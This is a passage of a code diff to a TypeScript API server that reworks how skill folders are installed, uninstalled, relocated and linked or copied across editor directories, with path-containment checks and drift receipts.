+ 'urn:ok:error:doc-already-exists',
+ 'That copy has been edited and no longer matches the skill — resolve the fork before converting it.',
+ { handler: 'skill-install', detail: target },
+ );
+ return;
+ }
+ if (cls === 'absent') {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'The skill is not installed there.', {
+ handler: 'skill-install',
+ detail: target,
+ });
+ return;
+ }
+ // Already in the requested form — nothing to write (a link-to-somewhere-
+ // else still gets re-materialized, same as the fan-out treats it).
+ const alreadyRight =
+ (mode === 'link' && cls === 'link-to-canonical') ||
+ (mode === 'copy' && cls === 'same-copy');
+ if (alreadyRight) {
+ // Disk is right but the ledger may not be, and a record that
+ // disagrees with disk is exactly what renders "changed outside".
+ // Skipping the write here used to skip the record too, so a stale
+ // record could never be reconciled from the UI — converting again
+ // just no-opped. Recording is idempotent when the two agree.
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: `${rootRel}/${body.name}`,
+ mode,
+ ...(mode === 'copy' ? { hash: canonicalHash } : {}),
+ });
+ }
+ if (!alreadyRight) {
+ const hostRoot = dirname(absDir);
+ tracedRmSync(absDir, { recursive: true, force: true });
+ tracedMkdirSync(hostRoot, { recursive: true });
+ if (mode === 'link') {
+ tracedSymlinkSync(relative(hostRoot, canonicalAbs), absDir, 'dir');
+ } else {
+ tracedCpSync(canonicalAbs, absDir, { recursive: true, dereference: true });
+ }
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: `${rootRel}/${body.name}`,
+ mode,
+ ...(mode === 'copy' ? { hash: canonicalHash } : {}),
+ });
+ }
+ signalChannel?.('files');
+ successResponse(
res,
- 400,
- 'urn:ok:error:invalid-request',
- `Skill "${body.name}" cannot be installed: ${validity.errors.join(' ')}`,
- { handler: 'skill-install', detail: 'INVALID_SKILL_SOURCE' },
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: [...inPlaceEntry.hosts],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ },
+ { handler: 'skill-install' },
);
return;
}
@@ -17369,20 +21362,20 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// `.ok/skill-targets.json` set → detected project-configured editors.
const targets: EditorId[] =
body.scope === 'global'
- ? body.targets
- ? // body.targets is the narrower SkillTargetEditor set (no
+ ? targetsReq
+ ? // targetsReq is the narrower SkillTargetEditor set (no
// claude-desktop, which shares claude's host dir); match by
// value so the EditorId/SkillTargetEditor widths don't clash.
- PROJECT_SKILL_EDITOR_IDS.filter((id) => body.targets?.some((t) => t === id))
+ PROJECT_SKILL_EDITOR_IDS.filter((id) => targetsReq?.some((t) => t === id))
: [...PROJECT_SKILL_EDITOR_IDS]
- : body.targets !== undefined
+ : targetsReq !== undefined
? // An EXPLICIT target list from the per-editor menu is set-exact,
// INCLUDING `[]` (unchecking the last editor = install nowhere =
// uninstall). Routing `[]` through resolveSkillTargets would hit
// its empty→detect fallback and wrongly re-install into every
// detected editor. Only an OMITTED `targets` means "use defaults".
- PROJECT_SKILL_EDITOR_IDS.filter((id) => body.targets?.some((t) => t === id))
- : resolveSkillTargets(base, readSkillTargets(base) ?? undefined);
+ PROJECT_SKILL_EDITOR_IDS.filter((id) => targetsReq?.some((t) => t === id))
+ : resolveSkillTargets(base);
const warnings: string[] = [];
// Parallel machine-readable codes (`warnings[i]` ↔ `warningCodes[i]`) so
// clients switch on the code, not the English string.
@@ -17391,7 +21384,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// empty set. An explicit `targets: []` (unchecking every editor) is an
// intentional uninstall, not a "couldn't find editors" failure — warning
// there mislabels a successful uninstall.
- if (targets.length === 0 && body.targets === undefined) {
+ if (targets.length === 0 && targetsReq === undefined) {
warnings.push(
body.scope === 'global'
? 'No editor skill folders are configured to install into.'
@@ -17409,14 +21402,463 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
warningCodes.push('scripts-present');
}
+ // Empty-description advisory: the install succeeds; surface the
+ // nudge as a warning rather than a blocking error, so an already-installed
+ // description-less skill no longer red-errors on every install click.
+ if (validity.warnings.length > 0) {
+ warnings.push(validity.warnings[0]);
+ warningCodes.push('no-description');
+ }
+
+ if (inPlaceEntry) {
+ // Set-exact over the SCAN's editor occurrences: remove only lossless
+ // occurrences (symlink / same-hash copy — never the canonical, never a
+ // fork), then copy the canonical into newly-checked editors
+ // (capability-aware; a DIFFERENT same-name dir is surfaced, untouched).
+ const canonicalRootRel = inPlaceEntry.dir.split('/').slice(0, -1).join('/');
+ // The `.agents` hub is a first-class install target for in-place
+ // skills (the editors-only resolver above drops it from `targets`).
+ const hubTargeted = targetsReq?.includes('agents') === true;
+ const inPlaceTargets: SkillHostId[] = hubTargeted ? [...targets, 'agents'] : [...targets];
+ // Install-mode default chain: explicit request > per-skill preference
+ // (scope-local) > project-committed default > this machine's
+ // user-wide default > copy.
+ const prefBase = body.scope === 'project' ? projectDir : skillsHome;
+ // `mode` shapes the locations THIS call installs and nothing else. It
+ // used to persist as a skill-wide preference that outranked the
+ // derived default forever after — invisible in the app, which has no
+ // skill-wide mode and picks a new location's form from the ones the
+ // skill already uses. Changing an existing location's form is the
+ // explicit `convert` verb on both surfaces.
+ const installMode: 'copy' | 'link' =
+ linkModeReq !== undefined
+ ? linkModeReq
+ ? 'link'
+ : 'copy'
+ : effectiveInstallMode(body.scope, body.name, inPlaceEntry);
+ // One-shot SOURCE move: relocate the real folder to the chosen host
+ // and symlink EVERY other installed location to it — one real folder,
+ // links everywhere else (the old source stays installed, as a link).
+ // Sticky so the next scan doesn't re-elect by precedence.
+ if (setSourceReq) {
+ const currentSource = inPlaceEntry.hosts[0] as string | undefined;
+ const newSource = setSourceReq;
+ // Editor ids + the hub map to host dirs; anything else is a CUSTOM
+ // skills-root path (its synthetic host id IS the root path).
+ const isHostTarget = isSkillInstallTarget(newSource);
+ let customDestAbs: string | undefined;
+ if (!isHostTarget) {
+ const rel = newSource
+ .replace(/\\/g, '/')
+ .replace(/^~\//, '')
+ .replace(/^\/+|\/+$/g, '');
+ const invalidOk = isRefusedOkPlacementRoot(rel);
+ const destAbs = resolve(base, rel, body.name);
+ if (rel === '' || invalidOk || !destAbs.startsWith(resolve(base) + sep)) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Source target must be an editor id, "agents", or a project-relative skills root.',
+ { handler: 'skill-install', detail: newSource },
+ );
+ return;
+ }
+ customDestAbs = destAbs;
+ }
+ let sourceMovedTo: string | undefined;
+ if (currentSource !== undefined && newSource !== currentSource) {
+ const oldSourceRel = relative(inPlaceScanBase, resolve(skillDir))
+ .split(sep)
+ .join('/');
+ const moved = relocateInPlaceCanonical({
+ canonicalAbs: skillDir,
+ canonicalHash: inPlaceEntry.contentHash,
+ name: body.name,
+ cwd: base,
+ newTarget: (isHostTarget ? newSource : 'agents') as SkillHostId,
+ ...(customDestAbs !== undefined ? { destDirAbs: customDestAbs } : {}),
+ // The promote/downgrade SWAP: the old source path becomes a
+ // symlink to the new one (set-source is never a removal).
+ leaveLinkBehind: true,
+ roots: skillProjectionRoots(body.scope),
+ });
+ if (!moved.ok) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'Cannot move the source there — a different skill occupies the target.',
+ { handler: 'skill-install', detail: moved.reason },
+ );
+ return;
+ }
+ sourceMovedTo = relative(inPlaceScanBase, moved.newAbs).split(sep).join('/');
+ // The swap left a symlink at the old source path (relocate's
+ // `leaveLinkBehind`). RECORD it as the expected form — without
+ // the receipt, an external tool rewriting that link as a copy
+ // would be invisible to drift detection (the .agents blind spot).
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: oldSourceRel,
+ mode: 'link',
+ });
+ // Re-point recorded placement SYMLINKS that referenced the old
+ // source (the relocation loop only covers host dirs).
+ for (const p of readSkillPlacements(prefBase ?? base)[body.name] ?? []) {
+ const abs = resolve(prefBase ?? base, p.path);
+ if (abs === moved.newAbs) continue;
+ try {
+ if (!lstatSync(abs).isSymbolicLink()) continue;
+ } catch {
+ continue;
+ }
+ let target: string | null = null;
+ try {
+ target = realpathSync(abs);
+ } catch {
+ target = null; // dangling (pointed at the moved-away dir)
+ }
+ if (target === null || target === resolve(skillDir)) {
+ tracedRmSync(abs, { recursive: true, force: true });
+ tracedSymlinkSync(relative(dirname(abs), moved.newAbs), abs, 'dir');
+ }
+ }
+ // The promoted path is now the REAL dir — refresh its receipt to
+ // the promoted form (hash-less copy: no drift, resync skips it,
+ // and a custom root stays registered with the scan). A leftover
+ // 'link' expectation would misread the promotion as drift
+ // (OVERWRITTEN on a folder OK itself just wrote), inviting an
+ // accidental hands-off.
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: sourceMovedTo,
+ mode: 'copy',
+ });
+ await recordSkillSourceHost(prefBase ?? base, body.name, newSource);
+ }
+ signalChannel?.('files');
+ const postMove = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((sk) => sk.name === body.name);
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: postMove ? [...postMove.hosts] : [...inPlaceEntry.hosts],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ ...(sourceMovedTo !== undefined ? { sourceMovedTo } : {}),
+ },
+ { handler: 'skill-install' },
+ );
+ return;
+ }
+
+ const prior = inPlaceEntry.hosts.filter((h): h is SkillHostId => isSkillInstallTarget(h));
+ // Unchecking THE SOURCE relocates it: the bundle moves to the
+ // highest-precedence remaining target (its copy/link there becomes
+ // the real dir), sibling links re-point, and set-exact proceeds
+ // against the new source. Refused when no other target remains —
+ // removing the only location is delete, not uninstall.
+ // `targets: []` (uninstall everywhere) is NOT a relocation request:
+ // lossless copies strip below and the source survives, matching the
+ // never-delete invariant.
+ // A CUSTOM-ROOT source (path-like host id, e.g. `.ok/skills`) is
+ // inexpressible in the editor-checkbox target vocabulary, so its
+ // absence from a set-exact list is NOT an uncheck — a mode flip
+ // (Copies/Symlinks re-apply) must never relocate it. Only an
+ // editor/hub source can be unchecked, and only that relocates.
+ // Relocation needs an EXPLICIT uncheck. With `targets` omitted the
+ // caller expressed no opinion about membership at all — the list came
+ // from `resolveSkillTargets`, which never includes the `agents` hub, so
+ // a defaults-driven call would read the hub's absence as an uncheck and
+ // move the real folder out from under it. Same reasoning as the two
+ // carve-outs above: `targets: []` and a custom-root source are excluded
+ // because neither is an uncheck either.
+ const sourceHost = inPlaceEntry.hosts[0] as SkillHostId | undefined;
+ let sourceMovedTo: string | undefined;
+ if (
+ targetsReq !== undefined &&
+ sourceHost !== undefined &&
+ !sourceHost.includes('/') &&
+ inPlaceTargets.length > 0 &&
+ !inPlaceTargets.includes(sourceHost)
+ ) {
+ const newTarget = inPlaceTargets[0] as SkillHostId;
+ const moved = relocateInPlaceCanonical({
+ canonicalAbs: skillDir,
+ canonicalHash: inPlaceEntry.contentHash,
+ name: body.name,
+ cwd: base,
+ newTarget,
+ roots: skillProjectionRoots(body.scope),
+ });
+ if (!moved.ok) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'Cannot move the source there — a different skill occupies the target.',
+ { handler: 'skill-install', detail: moved.reason },
+ );
+ return;
+ }
+ skillDir = moved.newAbs;
+ sourceMovedTo = relative(inPlaceScanBase, moved.newAbs).split(sep).join('/');
+ // The path holding the source is now the REAL dir — a stale 'link'
+ // receipt there would misread the relocation as drift.
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: sourceMovedTo,
+ mode: 'copy',
+ });
+ // Sticky: without this the next scan re-elects the source by
+ // static precedence and the user's choice silently reverts.
+ await recordSkillSourceHost(prefBase ?? base, body.name, newTarget);
+ }
+ const effectiveRootRel = sourceMovedTo
+ ? sourceMovedTo.split('/').slice(0, -1).join('/')
+ : canonicalRootRel;
+
+ removeInPlaceSkillCopies({
+ canonicalAbs: skillDir,
+ canonicalHash: inPlaceEntry.contentHash,
+ name: body.name,
+ cwd: base,
+ // Set-exact removal only when the caller actually named a set. With
+ // `targets` omitted this call is additive ("make sure it is in my
+ // configured editors"), so subtracting the locations that list
+ // happens not to mention would delete work nobody asked to remove.
+ targets:
+ targetsReq === undefined ? [] : prior.filter((h) => !inPlaceTargets.includes(h)),
+ roots: skillProjectionRoots(body.scope),
+ });
+ const fanned = projectInPlaceSkill({
+ canonicalAbs: skillDir,
+ canonicalHash: inPlaceEntry.contentHash,
+ canonicalRootRel: effectiveRootRel,
+ name: body.name,
+ cwd: base,
+ targets: inPlaceTargets,
+ mode: installMode,
+ // An EXPLICIT copy choice converts existing links back to copies
+ // (lossless — the link's bytes ARE the canonical's); an implicit
+ // copy default never touches links.
+ convertLinks: linkModeReq === false,
+ roots: skillProjectionRoots(body.scope),
+ });
+ for (const editor of fanned.conflicted) {
+ warnings.push(
+ `A different skill named "${body.name}" already exists in the ${editor} skills folder — left untouched.`,
+ );
+ warningCodes.push('name-conflict');
+ }
+ // Custom placements the call is ADDING adopt the requested form; ones
+ // it does not name are left alone. A blanket flip of every recorded
+ // placement as a side effect of installing is exactly what the app
+ // retired — converting is its own verb, per location, and asks first.
+ if (linkModeReq !== undefined && prefBase && rootAdds.length > 0) {
+ const adding = new Set(rootAdds.map((r) => `${r}/${body.name}`));
+ for (const p of (readSkillPlacements(prefBase)[body.name] ?? []).filter((p) =>
+ adding.has(p.path),
+ )) {
+ const abs = resolve(prefBase, p.path);
+ if (abs === resolve(skillDir)) continue;
+ const cls = classifyInPlaceDest(abs, resolve(skillDir), inPlaceEntry.contentHash);
+ if (linkModeReq === true && cls === 'same-copy') {
+ tracedRmSync(abs, { recursive: true, force: true });
+ tracedSymlinkSync(relative(dirname(abs), resolve(skillDir)), abs, 'dir');
+ await recordSkillPlacement(prefBase, body.name, { path: p.path, mode: 'link' });
+ } else if (linkModeReq === false && cls === 'link-to-canonical') {
+ tracedRmSync(abs, { recursive: true, force: true });
+ tracedCpSync(resolve(skillDir), abs, { recursive: true, dereference: true });
+ await recordSkillPlacement(prefBase, body.name, {
+ path: p.path,
+ mode: 'copy',
+ hash: inPlaceEntry.contentHash,
+ });
+ }
+ }
+ }
+
+ // Record what we just WROTE (machine-local): copies so the forward
+ // re-sync can lossless-refresh them, links as the EXPECTED form so
+ // drift detection can spot another tool rewriting the path.
+ for (const editor of fanned.hosts) {
+ const editorRoot =
+ editor === 'agents' ? '.agents/skills' : EDITOR_PROJECT_SKILL_ROOT[editor];
+ if (editorRoot === null || editorRoot === canonicalRootRel) continue;
+ const copyAbs = resolve(base, editorRoot, body.name);
+ let isLink = false;
+ try {
+ isLink = lstatSync(copyAbs).isSymbolicLink();
+ } catch {
+ continue;
+ }
+ if (isLink) {
+ if (installMode === 'link') {
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: `${editorRoot}/${body.name}`,
+ mode: 'link',
+ });
+ }
+ continue;
+ }
+ const copyHash = existsSync(join(copyAbs, 'SKILL.md'))
+ ? parseSkillDir(copyAbs)?.contentHash
+ : undefined;
+ if (copyHash !== undefined && copyHash === inPlaceEntry.contentHash) {
+ await recordSkillPlacement(prefBase ?? base, body.name, {
+ path: `${editorRoot}/${body.name}`,
+ mode: 'copy',
+ hash: copyHash,
+ });
+ }
+ }
+ // ── Additive custom-root placements (path-like `add`/`remove`
+ // members). Idempotent: an already-satisfied add is a no-op; a
+ // hand-edited fork is refused with a warning, never deleted.
+ if ((rootAdds.length > 0 || rootRemoves.length > 0) && prefBase) {
+ const canonAbs = resolve(skillDir);
+ for (const rootRel of rootAdds) {
+ const underOk = isRefusedOkPlacementRoot(rootRel);
+ const parentAbs = resolve(prefBase, rootRel);
+ // Symlink-aware containment, the same resolver `place` / `unplace`
+ // / `convert` use. A lexical `startsWith` prefix test walks
+ // straight through a checked-in symlink (`.team ->
+ // ~/Library/LaunchAgents`), and the mkdir + cp below would then
+ // write the bundle outside the project entirely.
+ const destAbs = resolveSkillPlacementPath(prefBase, `${rootRel}/${body.name}`);
+ if (rootRel === '' || underOk || destAbs === null || destAbs === canonAbs) {
+ warnings.push(`"${rootRel}" is not a placeable custom root — skipped.`);
+ warningCodes.push('place-path-invalid');
+ continue;
+ }
+ const cls = classifyInPlaceDest(destAbs, canonAbs, inPlaceEntry.contentHash);
+ if (cls === 'different') {
+ warnings.push(
+ `A different "${body.name}" already exists at ${rootRel} — left untouched.`,
+ );
+ warningCodes.push('name-conflict');
+ continue;
+ }
+ if (cls === 'absent') {
+ tracedMkdirSync(parentAbs, { recursive: true });
+ if (installMode === 'link') {
+ tracedSymlinkSync(relative(parentAbs, canonAbs), destAbs, 'dir');
+ } else {
+ tracedCpSync(canonAbs, destAbs, { recursive: true, dereference: true });
+ }
+ }
+ await recordSkillPlacement(prefBase, body.name, {
+ path: `${rootRel}/${body.name}`,
+ mode: installMode,
+ ...(installMode === 'copy' ? { hash: inPlaceEntry.contentHash } : {}),
+ });
+ }
+ for (const rootRel of rootRemoves) {
+ const rel = `${rootRel}/${body.name}`;
+ const recorded = readSkillPlacements(prefBase)[body.name]?.find(
+ (pl) => pl.path === rel,
+ );
+ const absDir = resolveSkillPlacementPath(prefBase, rel);
+ if (absDir === null) {
+ warnings.push(`"${rootRel}" is not a placeable custom root — skipped.`);
+ warningCodes.push('place-path-invalid');
+ continue;
+ }
+ const cls = classifyInPlaceDest(absDir, canonAbs, inPlaceEntry.contentHash);
+ if (cls === 'different') {
+ warnings.push(
+ `The copy at ${rel} has been hand-edited (a fork) — refused, never deleted. Remove it manually if you mean it.`,
+ );
+ warningCodes.push('place-fork-refused');
+ continue;
+ }
+ if (cls !== 'absent' && cls !== 'canonical-dir') {
+ tracedRmSync(absDir, { recursive: true, force: true });
+ }
+ if (recorded) await removeSkillPlacement(prefBase, body.name, rel);
+ }
+ }
+
+ // Report the FULL honest post-op host set by re-scanning — covers
+ // hub adds/removes, canonical-protection skips, and capability-covered
+ // hosts, so the client's before/after diff never invents changes.
+ const postEntry = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((s) => s.name === body.name);
+ const postHosts = postEntry ? [...postEntry.hosts] : fanned.hosts;
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: postHosts,
+ scripts: validity.hasScripts,
+ warnings,
+ warningCodes,
+ ...(sourceMovedTo !== undefined ? { sourceMovedTo } : {}),
+ },
+ { handler: 'skill-install' },
+ );
+ return;
+ }
// Set-exact: drop any editor the skill was previously installed into
// but that isn't in this target set, so the per-editor install menu can
// toggle a single editor off without leaving an orphaned symlink behind.
const priorHosts = resolvedHosts(readInstalledSkills(base).skills[body.name]?.hosts ?? []);
const dropped = priorHosts.filter((h) => !targets.includes(h));
- if (dropped.length > 0) reverseProjectSkill(body.name, base, dropped);
- const hosts = projectSkill(skillDir, body.name, base, targets);
+ if (dropped.length > 0)
+ reverseProjectSkill(body.name, base, dropped, skillProjectionRoots(body.scope));
+ // Projection mode by ORIGIN (slice 4): a skill recorded in the import
+ // lockfile is acquired → project as a verbatim COPY so it survives a
+ // fresh clone where the `.ok/skills` source link would dangle.
+ // Locally-authored skills stay symlinked. Copy entries record a
+ // contentHash (the same acquire hasher) so reconcile can flag local edits.
+ const lockPathForInstall = join(base, ...SKILLS_LOCK_REL);
+ const lockRawForInstall = existsSync(lockPathForInstall)
+ ? readFileSync(lockPathForInstall, 'utf-8')
+ : null;
+ const lockForInstall =
+ lockRawForInstall !== null ? parseSkillsLock(lockRawForInstall) : null;
+ // A present-but-unparseable lockfile would silently fall back to symlink
+ // (origin unknown). Surface it so a corrupt lockfile isn't invisible.
+ if (lockRawForInstall !== null && lockForInstall === null) {
+ log.warn(
+ { skill: body.name },
+ 'skills-lock.json failed to parse — projecting as symlink (import origin unknown)',
+ );
+ }
+ const isAcquired = lockForInstall?.skills[body.name] !== undefined;
+ // An explicit `mode` wins here as it does on the in-place path. Without
+ // this the legacy branch silently ignored the caller's request and used
+ // the import-origin default instead — the same call, answered two ways
+ // depending on which store the skill happened to live in.
+ const projectionMode: 'symlink' | 'copy' =
+ linkModeReq !== undefined
+ ? linkModeReq
+ ? 'symlink'
+ : 'copy'
+ : isAcquired
+ ? 'copy'
+ : 'symlink';
+ const hosts = projectSkill(
+ skillDir,
+ body.name,
+ base,
+ targets,
+ projectionMode,
+ skillProjectionRoots(body.scope),
+ );
if (hosts.length === 0) {
// Zero editors left (unchecked them all) = fully uninstalled. DROP the
// marker rather than recording `hosts: []`: the Skills list derives
@@ -17430,6 +21872,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
scope: body.scope,
scripts: validity.hasScripts,
installedAt: new Date().toISOString(),
+ projection: projectionMode,
});
}
signalChannel?.('files');
@@ -17451,16 +21894,15 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
// `POST /api/skill/uninstall` — remove a skill's editor-host projections +
- // drop its marker entry, leaving the SOURCE intact (the skill demotes to
- // Draft). The inverse of install: same scope→base map, the shared
+ // drop its marker entry, leaving the SOURCE intact — the skill still loads
+ // from its own folder. The inverse of install: same scope→base map, the shared
// `uninstallSkillFromHostDirs` reverse-projection. A local-op, not an
- // attributed content mutation. Idempotent: uninstalling a Draft is a no-op.
+ // attributed content mutation. Idempotent: uninstalling a source-only skill is a no-op.
const handleSkillUninstall = withValidation(
SkillUninstallRequestSchema,
async (_req, res, body) => {
try {
if (!validateSkillName(body.name, res, 'skill-uninstall')) return;
- if (rejectReservedBuiltinSkill(body.name, res, 'skill-uninstall')) return;
const base = skillInstallBase(body.scope);
if (!base) {
errorResponse(
@@ -17472,7 +21914,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
return;
}
- const uninstalled = await uninstallSkillFromHostDirs(base, body.name);
+ const uninstalled = await uninstallSkillFromHostDirs(base, body.name, body.scope);
signalChannel?.('files');
successResponse(
res,
@@ -17497,78 +21939,212 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skill-uninstall', method: 'POST' },
);
- // `/api/skill-targets` — the editable project skill-target set
- // (`.ok/skill-targets.json`, committed). GET reads the effective set; PUT
- // writes a new set and re-projects EVERY managed skill — authored skills
- // (from the marker) AND OK's shipped `open-knowledge` bundle — to the new
- // editors, reverse-projecting from dropped ones. A user/UI action (the set
- // is project-config with teammate-wide blast radius), not agent-attributed.
const handleSkillTargetsGet = withValidation(
EmptyRequestSchema,
- catchErrors(
- async (_req, res) => {
- const committed = projectDir ? readSkillTargets(projectDir) : null;
- const targets = resolveSkillTargets(projectDir ?? '', committed ?? undefined);
+ async (_req, res) => {
+ try {
+ // Store retirement: the committed `.ok/skill-targets.json` set is dead —
+ // targets are DETECTED from the project's configured editors, and
+ // per-skill reach lives in each skill's install menu.
+ const targets = resolveSkillTargets(projectDir ?? '');
+ // Folder-link receipt vs disk: a recorded expectation that no longer
+ // matches the observed state is DRIFT — passive disclosure only (the
+ // "changed outside" chip); the next explicit verb wins + re-records.
+ const withDrift = (
+ base: string,
+ f: ReturnType<typeof scanSkillFolderStates>[number],
+ ): { drift?: true; expected?: string } => {
+ const exp = readFolderExpectations(base)[f.root];
+ if (exp === undefined) return {};
+ const matches =
+ exp.expect === 'link'
+ ? f.state === 'linked' && f.target === exp.target
+ : f.state === 'own';
+ if (matches) return {};
+ return {
+ drift: true,
+ expected: exp.expect === 'link' ? `link → ${exp.target}` : 'own folder',
+ };
+ };
successResponse(
res,
200,
SkillTargetsGetSuccessSchema,
- { targets, configured: committed !== null },
+ {
+ targets,
+ configured: false,
+ folders: [
+ ...(projectDir
+ ? scanSkillFolderStates(contentDir, knownSkillRootsFor(contentDir, 'project')).map(
+ (f) => ({
+ ...f,
+ scope: 'project' as const,
+ ...withDrift(contentDir, f),
+ }),
+ )
+ : []),
+ ...scanSkillFolderStates(skillsHome, knownSkillRootsFor(skillsHome, 'global')).map(
+ (f) => ({
+ ...f,
+ scope: 'global' as const,
+ ...withDrift(skillsHome, f),
+ }),
+ ),
+ ],
+ },
{ handler: 'skill-targets-get' },
);
- },
- { handler: 'skill-targets-get', title: 'Failed to read skill targets.' },
- ),
+ } catch (e) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to read skill targets.',
+ { handler: 'skill-targets-get', cause: e },
+ );
+ }
+ },
{ handler: 'skill-targets-get', method: 'GET', skipBodyParse: true },
);
const handleSkillTargetsPut = withValidation(
SkillTargetsPutRequestSchema,
- catchErrors(
- async (_req, res, body) => {
- if (!projectDir) {
- errorResponse(
+ async (_req, res, body) => {
+ try {
+ {
+ const fa = body.folderAction;
+ const base = fa.scope === 'project' ? contentDir : skillsHome;
+ if (fa.scope === 'project' && !projectDir) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Cannot manage skill folders — no project root is resolved for this server.',
+ { handler: 'skill-targets-put', detail: 'NO_PROJECT_ROOT' },
+ );
+ return;
+ }
+ // DECLARE a new custom root (rows/link-targets from declaration,
+ // not first placement). Shape-validated only — it's a declaration,
+ // not a write; the folder stays absent until something lands there.
+ if (fa.action === 'add-root') {
+ const raw = fa.root.replace(/\\/g, '/');
+ const rel = raw.replace(/\/+$/g, '');
+ const segs = rel.split('/').filter((seg) => seg !== '' && seg !== '.');
+ if (
+ rel === '' ||
+ rel.startsWith('/') ||
+ rel.startsWith('~') ||
+ /^[A-Za-z]:/.test(rel) ||
+ rel.includes('\x00') ||
+ segs.length === 0 ||
+ segs.some((seg) => seg === '..')
+ ) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Invalid folder path.', {
+ handler: 'skill-targets-put',
+ detail: fa.root,
+ });
+ return;
+ }
+ await recordKnownSkillRoot(base, segs.join('/'));
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillTargetsPutSuccessSchema,
+ {
+ targets: resolveSkillTargets(projectDir ?? ''),
+ reprojected: [],
+ bundleHosts: [],
+ removedFrom: [],
+ },
+ { handler: 'skill-targets-put' },
+ );
+ return;
+ }
+ // Folder verbs operate on KNOWN roots only (standard host roots +
+ // ledger-known custom roots) — arbitrary paths never reach the
+ // link/unlink primitives. The link target is an EXPLICIT user pick;
+ // no root is ever assumed.
+ const knownRoots = new Set(
+ knownSkillRootsFor(base, fa.scope)
+ .map((r) => r.root)
+ .filter((r) => !r.startsWith('/') && !r.split('/').includes('..')),
+ );
+ const target = fa.action === 'link' ? (fa.target ?? '') : fa.root;
+ if (
+ !knownRoots.has(fa.root) ||
+ (fa.action === 'link' && (!knownRoots.has(target) || fa.root === target))
+ ) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Folder and target must be distinct standard skills roots.',
+ { handler: 'skill-targets-put', detail: `${fa.root} -> ${target}` },
+ );
+ return;
+ }
+ const result =
+ fa.action === 'link'
+ ? linkEditorSkillFolder({ base, folderRel: fa.root, targetRootRel: target })
+ : unlinkEditorSkillFolder({
+ base,
+ folderRel: fa.root,
+ ...(fa.exclude !== undefined ? { exclude: fa.exclude } : {}),
+ });
+ if (!result.ok) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:invalid-request',
+ result.reason === 'conflicts'
+ ? `Cannot link — differing skills exist in both folders: ${(result.conflicts ?? []).join(', ')}. Resolve them first.`
+ : result.reason === 'stray-entries'
+ ? `Cannot link — the folder holds non-skill entries: ${(result.strays ?? []).join(', ')}.`
+ : result.reason === 'partial-move'
+ ? `The merge stopped partway (${(result.moved ?? []).length} skill(s) already moved — nothing lost). Run Link again to resume and complete it. (${result.error ?? ''})`
+ : result.reason === 'not-linked'
+ ? 'That folder is not a symlink — nothing to unlink.'
+ : 'That folder cannot be linked (it is already a link or the same directory).',
+ { handler: 'skill-targets-put', detail: result.reason },
+ );
+ return;
+ }
+ // RECEIPT: record the expected folder form so an external rewrite
+ // (symlink deleted, re-pointed, or re-materialized) renders a
+ // passive "changed outside" chip. The next explicit verb wins.
+ await recordFolderExpectation(
+ base,
+ fa.root,
+ fa.action === 'link' ? { expect: 'link', target } : { expect: 'own' },
+ );
+ signalChannel?.('files');
+ successResponse(
res,
- 400,
- 'urn:ok:error:invalid-request',
- 'Cannot set skill targets — no project root is resolved for this server.',
- { handler: 'skill-targets-put', detail: 'NO_PROJECT_ROOT' },
+ 200,
+ SkillTargetsPutSuccessSchema,
+ {
+ targets: resolveSkillTargets(projectDir ?? ''),
+ reprojected: [],
+ bundleHosts: [],
+ removedFrom: [],
+ folder: { moved: result.moved, dropped: result.dropped, linked: result.linked },
+ },
+ { handler: 'skill-targets-put' },
);
return;
}
- const newTargets = body.targets;
- const newSet = new Set<string>(newTargets);
- const oldTargets = resolveSkillTargets(
- projectDir,
- readSkillTargets(projectDir) ?? undefined,
- );
- const skillsRoot = resolveSkillsRoot('project');
-
- await writeSkillTargets(projectDir, newTargets);
- // Shared with reclaim: re-project authored skills + OK's bundle to the
- // new set, reverse-project from dropped editors, sync the marker.
- const { reprojected, bundleHosts } = await reprojectAllManagedSkills({
- projectDir,
- skillsRoot,
- targets: newTargets,
- });
-
- signalChannel?.('files');
- successResponse(
+ } catch (e) {
+ errorResponse(
res,
- 200,
- SkillTargetsPutSuccessSchema,
- {
- targets: newTargets,
- reprojected,
- bundleHosts,
- removedFrom: oldTargets.filter((t) => !newSet.has(t)),
- },
- { handler: 'skill-targets-put' },
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to set skill targets.',
+ { handler: 'skill-targets-put', cause: e },
);
- },
- { handler: 'skill-targets-put', title: 'Failed to set skill targets.' },
- ),
